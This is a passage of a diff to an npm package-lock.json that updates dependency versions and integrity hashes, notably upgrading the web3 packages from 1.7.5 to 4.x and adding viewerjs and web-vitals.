"https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.5.tgz", - "integrity": "sha512-dteFFpCyvuDdr9S/ff1ISkKt/9YZxKjI9WlRR99c180GaztJtRa/fn18FdxGVKVsnPY7/a/FDN68mcvUmP4U7Q==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz", + "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==", "funding": [ { "type": "opencollective", @@ -17481,14 +14912,19 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "dependencies": { - "escalade": "^3.1.1", - "picocolors": "^1.0.0" + "escalade": "^3.2.0", + "picocolors": "^1.1.1" }, "bin": { - "browserslist-lint": "cli.js" + "update-browserslist-db": "cli.js" }, "peerDependencies": { "browserslist": ">= 4.21.0" @@ -17508,58 +14944,43 @@ "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==" }, "node_modules/url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.4.tgz", + "integrity": "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg==", "dependencies": { - "punycode": "1.3.2", - "querystring": "0.2.0" - } - }, - "node_modules/url-parse": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - "dev": true, - "dependencies": { - "querystringify": "^2.1.1", - "requires-port": "^1.0.0" - } - }, - "node_modules/url-parse-lax": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-1.0.0.tgz", - "integrity": "sha512-BVA4lR5PIviy2PMseNd2jbFQ+jwSwQGdJejf5ctd1rEXt0Ypd7yanUK9+lYechVlN5VaTJGsu2U/3MDDu6KgBA==", - "dependencies": { - "prepend-http": "^1.0.1" + "punycode": "^1.4.1", + "qs": "^6.12.3" }, "engines": { - "node": ">=0.10.0" + "node": ">= 0.4" } }, - "node_modules/url-set-query": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-set-query/-/url-set-query-1.0.0.tgz", - "integrity": "sha512-3AChu4NiXquPfeckE5R5cGdiHCMWJx1dwCWOmWIL4KHAziJNOFIYJlpGFeKDvwLPHovZRCxK3cYlwzqI9Vp+Gg==" + "node_modules/url/node_modules/punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" }, - "node_modules/url-to-options": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", - "integrity": "sha512-0kQLIzG4fdk/G5NONku64rSH/x32NOA39LVQqlK8Le6lvTF6GGRJpqaQFGgU+CLwySIqBSMdwYM0sYcW9f6P4A==", + "node_modules/url/node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dependencies": { + "side-channel": "^1.0.6" + }, "engines": { - "node": ">= 4" + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/url/node_modules/punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=" - }, "node_modules/utf-8-validate": { "version": "5.0.7", "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.7.tgz", "integrity": "sha512-vLt1O5Pp+flcArHGIyKEQq883nBt8nN8tVBcoL0qUXj2XT1n7p70yGIq2VK98I5FdZ1YHc0wk/koOnHjnXWk1Q==", "hasInstallScript": true, + "optional": true, + "peer": true, "dependencies": { "node-gyp-build": "^4.3.0" }, @@ -17567,21 +14988,15 @@ "node": ">=6.14.2" } }, - "node_modules/utf8": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz", - "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==" - }, "node_modules/util": { - "version": "0.12.4", - "resolved": "https://registry.npmjs.org/util/-/util-0.12.4.tgz", - "integrity": "sha512-bxZ9qtSlGUWSOy9Qa9Xgk11kSslpuZwaxCg4sNIDj6FLucDab2JxnHwyNTCpHMtK1MjoQiWQ6DiUMZYbSrO+Sw==", + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz", + "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==", "dependencies": { "inherits": "^2.0.3", "is-arguments": "^1.0.4", "is-generator-function": "^1.0.7", "is-typed-array": "^1.1.3", - "safe-buffer": "^5.1.2", "which-typed-array": "^1.1.2" } }, @@ -17590,14 +15005,6 @@ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, - "node_modules/utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", - "engines": { - "node": ">= 0.4.0" - } - }, "node_modules/uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", @@ -17608,9 +15015,9 @@ } }, "node_modules/v8-to-istanbul": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.0.1.tgz", - "integrity": "sha512-74Y4LqY74kLE6IFyIjPtkSTWzUZmj8tdHT9Ii/26dvQ6K9Dl2NbEfj0XgU2sHCtKgt5VupqhlO/5aWuqS+IY1w==", + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.1.0.tgz", + "integrity": "sha512-6z3GW9x8G1gd+JIIgQQQxXuiJtCXeAjp6RaPEPLv62mH3iPHPxV6W3robxtCzNErRo6ZwTmzWhsbNvjyEBKzKA==", "dev": true, "dependencies": { "@jridgewell/trace-mapping": "^0.3.12", @@ -17621,31 +15028,6 @@ "node": ">=10.12.0" } }, - "node_modules/validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "node_modules/varint": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/varint/-/varint-5.0.2.tgz", - "integrity": "sha512-lKxKYG6H03yCZUpAGOPOsMcGxd1RHCu1iKvEHYDPmTyq2HueGhD73ssNBqqQWfvYs04G9iUFRvmAVLW20Jw6ow==" - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", @@ -17659,25 +15041,22 @@ "extsprintf": "^1.2.0" } }, - "node_modules/w3c-hr-time": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", - "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", - "dev": true, - "dependencies": { - "browser-process-hrtime": "^1.0.0" - } + "node_modules/viewerjs": { + "version": "1.11.7", + "resolved": "https://registry.npmjs.org/viewerjs/-/viewerjs-1.11.7.tgz", + "integrity": "sha512-0JuVqOmL5v1jmEAlG5EBDR3XquxY8DWFQbFMprOXgaBB0F7Q/X9xWdEaQc59D8xzwkdUgXEMSSknTpriq95igg==" }, "node_modules/w3c-xmlserializer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", - "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", "dev": true, + "license": "MIT", "dependencies": { - "xml-name-validator": "^4.0.0" + "xml-name-validator": "^5.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/walker": { @@ -17690,9 +15069,9 @@ } }, "node_modules/watchpack": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", - "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.1.tgz", + "integrity": "sha512-8wrBCMtVhqcXP2Sup1ctSkga6uc2Bx0IIvKyT7yTFier5AXHooSI+QyQQAtTb7+E0IUCCKyTFmXqdqgum2XWGg==", "dev": true, "dependencies": { "glob-to-regexp": "^0.4.1", @@ -17702,305 +15081,236 @@ "node": ">=10.13.0" } }, - "node_modules/web3": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3/-/web3-1.7.5.tgz", - "integrity": "sha512-3jHZTWyXt975AOXgnZKayiSWDLpoSKk9fZtLk1hURQtt7AdSbXPT8AK9ooBCm0Dt3GYaOeNcHGaiHC3gtyqhLg==", - "hasInstallScript": true, - "dependencies": { - "web3-bzz": "1.7.5", - "web3-core": "1.7.5", - "web3-eth": "1.7.5", - "web3-eth-personal": "1.7.5", - "web3-net": "1.7.5", - "web3-shh": "1.7.5", - "web3-utils": "1.7.5" - }, - "engines": { - "node": ">=8.0.0" - } + "node_modules/web-vitals": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.1.0.tgz", + "integrity": "sha512-ArI3kx5jI0atlTtmV0fWU3fjpLmq/nD3Zr1iFFlJLaqa5wLBkUSzINwBPySCX/8jRyjlmy1Volw1kz1g9XE4Jg==", + "license": "Apache-2.0" }, - "node_modules/web3-bzz": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.7.5.tgz", - "integrity": "sha512-Z53sY0YK/losqjJncmL4vP0zZI9r6tiXg6o7R6e1JD2Iy7FH3serQvU+qXmPjqEBzsnhf8wTG+YcBPB3RHpr0Q==", - "hasInstallScript": true, - "dependencies": { - "@types/node": "^12.12.6", - "got": "12.1.0", - "swarm-js": "^0.1.40" - }, - "engines": { - "node": ">=8.0.0" + "node_modules/web3": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/web3/-/web3-4.12.1.tgz", + "integrity": "sha512-zIFUPdgo2uG5Vbl7C4KrTv8dmWKN3sGnY/GundbiJzcaJZDxaCyu3a5HXAcgUM1VvvsVb1zaUQAFPceq05/q/Q==", + "dependencies": { + "web3-core": "^4.5.1", + "web3-errors": "^1.3.0", + "web3-eth": "^4.8.2", + "web3-eth-abi": "^4.2.3", + "web3-eth-accounts": "^4.2.1", + "web3-eth-contract": "^4.7.0", + "web3-eth-ens": "^4.4.0", + "web3-eth-iban": "^4.0.7", + "web3-eth-personal": "^4.0.8", + "web3-net": "^4.1.0", + "web3-providers-http": "^4.2.0", + "web3-providers-ws": "^4.0.8", + "web3-rpc-methods": "^1.3.0", + "web3-rpc-providers": "^1.0.0-rc.2", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" + }, + "engines": { + "node": ">=14.0.0", + "npm": ">=6.12.0" } }, - "node_modules/web3-bzz/node_modules/@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - }, "node_modules/web3-core": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core/-/web3-core-1.7.5.tgz", - "integrity": "sha512-UgOWXZr1fR/3cUQJKWbfMwRxj1/N7o6RSd/dHqdXBlOD+62EjNZItFmLRg5veq5kp9YfXzrNw9bnDkXfsL+nKQ==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/web3-core/-/web3-core-4.5.1.tgz", + "integrity": "sha512-mFMOO/IWdKsLL1o2whh3oJ0LCG9P3l5c4lpiMoVsVln3QXh/B0Gf8gW3aY8S+Ixm0OHyzFDXJVc2CodxqmI4Gw==", "dependencies": { - "@types/bn.js": "^5.1.0", - "@types/node": "^12.12.6", - "bignumber.js": "^9.0.0", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-requestmanager": "1.7.5", - "web3-utils": "1.7.5" + "web3-errors": "^1.3.0", + "web3-eth-accounts": "^4.2.0", + "web3-eth-iban": "^4.0.7", + "web3-providers-http": "^4.2.0", + "web3-providers-ws": "^4.0.8", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/web3-core-helpers": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.7.5.tgz", - "integrity": "sha512-lDDjTks6Q6aNUO87RYrY2xub3UWTKr/RIWxpHJODEqkLxZS1dWdyliJ6aIx3031VQwsNT5HE7NvABe/t0p3iDQ==", - "dependencies": { - "web3-eth-iban": "1.7.5", - "web3-utils": "1.7.5" + "node": ">=14", + "npm": ">=6.12.0" }, - "engines": { - "node": ">=8.0.0" + "optionalDependencies": { + "web3-providers-ipc": "^4.0.7" } }, - "node_modules/web3-core-method": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.7.5.tgz", - "integrity": "sha512-ApTvq1Llzlbxmy0n4L7QaE6NodIsR80VJqk8qN4kLg30SGznt/pNJFebryLI2kpyDmxSgj1TjEWzmHJBp6FhYg==", + "node_modules/web3-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/web3-errors/-/web3-errors-1.3.0.tgz", + "integrity": "sha512-j5JkAKCtuVMbY3F5PYXBqg1vWrtF4jcyyMY1rlw8a4PV67AkqlepjGgpzWJZd56Mt+TvHy6DA1F/3Id8LatDSQ==", "dependencies": { - "@ethersproject/transactions": "^5.6.2", - "web3-core-helpers": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-utils": "1.7.5" + "web3-types": "^1.7.0" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-core-promievent": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.7.5.tgz", - "integrity": "sha512-uZ1VRErVuhiLtHlyt3oEH/JSvAf6bWPndChHR9PG7i1Zfqm6ZVCeM91ICTPmiL8ddsGQOxASpnJk4vhApcTIww==", + "node_modules/web3-eth": { + "version": "4.8.2", + "resolved": "https://registry.npmjs.org/web3-eth/-/web3-eth-4.8.2.tgz", + "integrity": "sha512-DLV/fIMG6gBp/B0gv0+G4FzxZ4YCDQsY3lzqqv7avwh3uU7/O27aifCUcFd7Ye+3ixTqCjAvLEl9wYSeyG3zQw==", "dependencies": { - "eventemitter3": "4.0.4" + "setimmediate": "^1.0.5", + "web3-core": "^4.5.0", + "web3-errors": "^1.2.1", + "web3-eth-abi": "^4.2.3", + "web3-eth-accounts": "^4.1.3", + "web3-net": "^4.1.0", + "web3-providers-ws": "^4.0.8", + "web3-rpc-methods": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-core-requestmanager": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.7.5.tgz", - "integrity": "sha512-3KpfxW/wVH4mgwWEsSJGHKrtRVoijWlDxtUrm17xgtqRNZ2mFolifKnHAUKa0fY48C9CrxmcCiMIi3W4G6WYRw==", + "node_modules/web3-eth-abi": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-4.2.3.tgz", + "integrity": "sha512-rPVwTn0O1CzbtfXwEfIjUP0W5Y7u1OFjugwKpSqJzPQE6+REBg6OELjomTGZBu+GThxHnv0rp15SOxvqp+tyXA==", "dependencies": { - "util": "^0.12.0", - "web3-core-helpers": "1.7.5", - "web3-providers-http": "1.7.5", - "web3-providers-ipc": "1.7.5", - "web3-providers-ws": "1.7.5" + "abitype": "0.7.1", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-core-subscriptions": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.7.5.tgz", - "integrity": "sha512-YK6utQ7Wwjbe4XZOIA8quWGBPi1lFDS1A+jQYwxKKrCvm6BloBNc3FhvrcSYlDhLe/kOy8+2Je8i9amndgT4ww==", + "node_modules/web3-eth-accounts": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-4.2.1.tgz", + "integrity": "sha512-aOlEZFzqAgKprKs7+DGArU4r9b+ILBjThpeq42aY7LAQcP+mSpsWcQgbIRK3r/n3OwTYZ3aLPk0Ih70O/LwnYA==", "dependencies": { - "eventemitter3": "4.0.4", - "web3-core-helpers": "1.7.5" + "@ethereumjs/rlp": "^4.0.1", + "crc-32": "^1.2.2", + "ethereum-cryptography": "^2.0.0", + "web3-errors": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-core/node_modules/@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", + "node_modules/web3-eth-accounts/node_modules/ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", "dependencies": { - "@types/node": "*" - } - }, - "node_modules/web3-core/node_modules/@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - }, - "node_modules/web3-eth": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth/-/web3-eth-1.7.5.tgz", - "integrity": "sha512-BucjvqZyDWYkGlsFX+OnOBub0YutlC1KZiNGibdmvtNX0NQK+8iw1uzAoL9yTTwCSszL7lnkFe8N+HCOl9B4Dw==", - "dependencies": { - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-eth-accounts": "1.7.5", - "web3-eth-contract": "1.7.5", - "web3-eth-ens": "1.7.5", - "web3-eth-iban": "1.7.5", - "web3-eth-personal": "1.7.5", - "web3-net": "1.7.5", - "web3-utils": "1.7.5" - }, - "engines": { - "node": ">=8.0.0" + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" } }, - "node_modules/web3-eth-abi": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.7.5.tgz", - "integrity": "sha512-qWHvF7sayxql9BD1yqK9sZRLBQ66eJzGeaU53Y1PRq2iFPrhY6NUWxQ3c3ps0rg+dyObvRbloviWpKXcS4RE/A==", + "node_modules/web3-eth-contract": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-4.7.0.tgz", + "integrity": "sha512-fdStoBOjFyMHwlyJmSUt/BTDL1ATwKGmG3zDXQ/zTKlkkW/F/074ut0Vry4GuwSBg9acMHc0ycOiZx9ZKjNHsw==", "dependencies": { - "@ethersproject/abi": "^5.6.3", - "web3-utils": "1.7.5" + "@ethereumjs/rlp": "^5.0.2", + "web3-core": "^4.5.1", + "web3-errors": "^1.3.0", + "web3-eth": "^4.8.2", + "web3-eth-abi": "^4.2.3", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/web3-eth-accounts": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.7.5.tgz", - "integrity": "sha512-AzMLoTj3RGwKpyp3x3TtHrEeU4VpR99iMOD6NKrWSDumS6QEi0lCo+y7QZhdTlINw3iIA3SFIdvbAOO4NCHSDg==", - "dependencies": { - "@ethereumjs/common": "^2.5.0", - "@ethereumjs/tx": "^3.3.2", - "crypto-browserify": "3.12.0", - "eth-lib": "0.2.8", - "ethereumjs-util": "^7.0.10", - "scrypt-js": "^3.0.1", - "uuid": "3.3.2", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-utils": "1.7.5" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/web3-eth-accounts/node_modules/bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" - }, - "node_modules/web3-eth-accounts/node_modules/eth-lib": { - "version": "0.2.8", - "resolved": "https://registry.npmjs.org/eth-lib/-/eth-lib-0.2.8.tgz", - "integrity": "sha512-ArJ7x1WcWOlSpzdoTBX8vkwlkSQ85CjjifSZtV4co64vWxSV8geWfPI9x4SVYu3DSxnX4yWFVTtGL+j9DUFLNw==", - "dependencies": { - "bn.js": "^4.11.6", - "elliptic": "^6.4.0", - "xhr-request-promise": "^0.1.2" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-eth-accounts/node_modules/uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==", - "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "node_modules/web3-eth-contract/node_modules/@ethereumjs/rlp": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@ethereumjs/rlp/-/rlp-5.0.2.tgz", + "integrity": "sha512-DziebCdg4JpGlEqEdGgXmjqcFoJi+JGulUXwEjsZGAscAQ7MyD/7LE/GVCP29vEQxKc7AAwjT3A2ywHp2xfoCA==", "bin": { - "uuid": "bin/uuid" - } - }, - "node_modules/web3-eth-contract": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.7.5.tgz", - "integrity": "sha512-qab7NPJRKRlTs58ozsqK8YIEwWpxIm3vD/okSIKBGkFx5gIHWW+vGmMh5PDSfefLJM9rCd+T+Lc0LYvtME7uqg==", - "dependencies": { - "@types/bn.js": "^5.1.0", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-utils": "1.7.5" + "rlp": "bin/rlp.cjs" }, "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/web3-eth-contract/node_modules/@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", - "dependencies": { - "@types/node": "*" + "node": ">=18" } }, "node_modules/web3-eth-ens": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.7.5.tgz", - "integrity": "sha512-k1Q0msdRv/wac2egpZBIwG3n/sa/KdrVmVJvFm471gLTL4xfUizV5qJjkDVf+ikf9JyDvWJTs5eWNUUbOFIw/A==", + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-4.4.0.tgz", + "integrity": "sha512-DeyVIS060hNV9g8dnTx92syqvgbvPricE3MerCxe/DquNZT3tD8aVgFfq65GATtpCgDDJffO2bVeHp3XBemnSQ==", "dependencies": { - "content-hash": "^2.5.2", - "eth-ens-namehash": "2.0.8", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-eth-contract": "1.7.5", - "web3-utils": "1.7.5" + "@adraffy/ens-normalize": "^1.8.8", + "web3-core": "^4.5.0", + "web3-errors": "^1.2.0", + "web3-eth": "^4.8.0", + "web3-eth-contract": "^4.5.0", + "web3-net": "^4.1.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.0", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, "node_modules/web3-eth-iban": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.7.5.tgz", - "integrity": "sha512-mn2W5t/1IpL8OZvzAabLKT4kvwRnZSJ9K0tctndl9sDNWkfITYQibEEhUaNNA50Q5fJKgVudHI/m0gwIVTyG8Q==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-4.0.7.tgz", + "integrity": "sha512-8weKLa9KuKRzibC87vNLdkinpUE30gn0IGY027F8doeJdcPUfsa4IlBgNC4k4HLBembBB2CTU0Kr/HAOqMeYVQ==", "dependencies": { - "bn.js": "^5.2.1", - "web3-utils": "1.7.5" + "web3-errors": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7", + "web3-validator": "^2.0.3" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, "node_modules/web3-eth-personal": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.7.5.tgz", - "integrity": "sha512-txh2P/eN8I4AOUKFi9++KKddoD0tWfCuu9Y1Kc41jSRbk6smO88Fum0KWNmYFYhSCX2qiknS1DfqsONl3igoKQ==", + "version": "4.0.8", + "resolved": 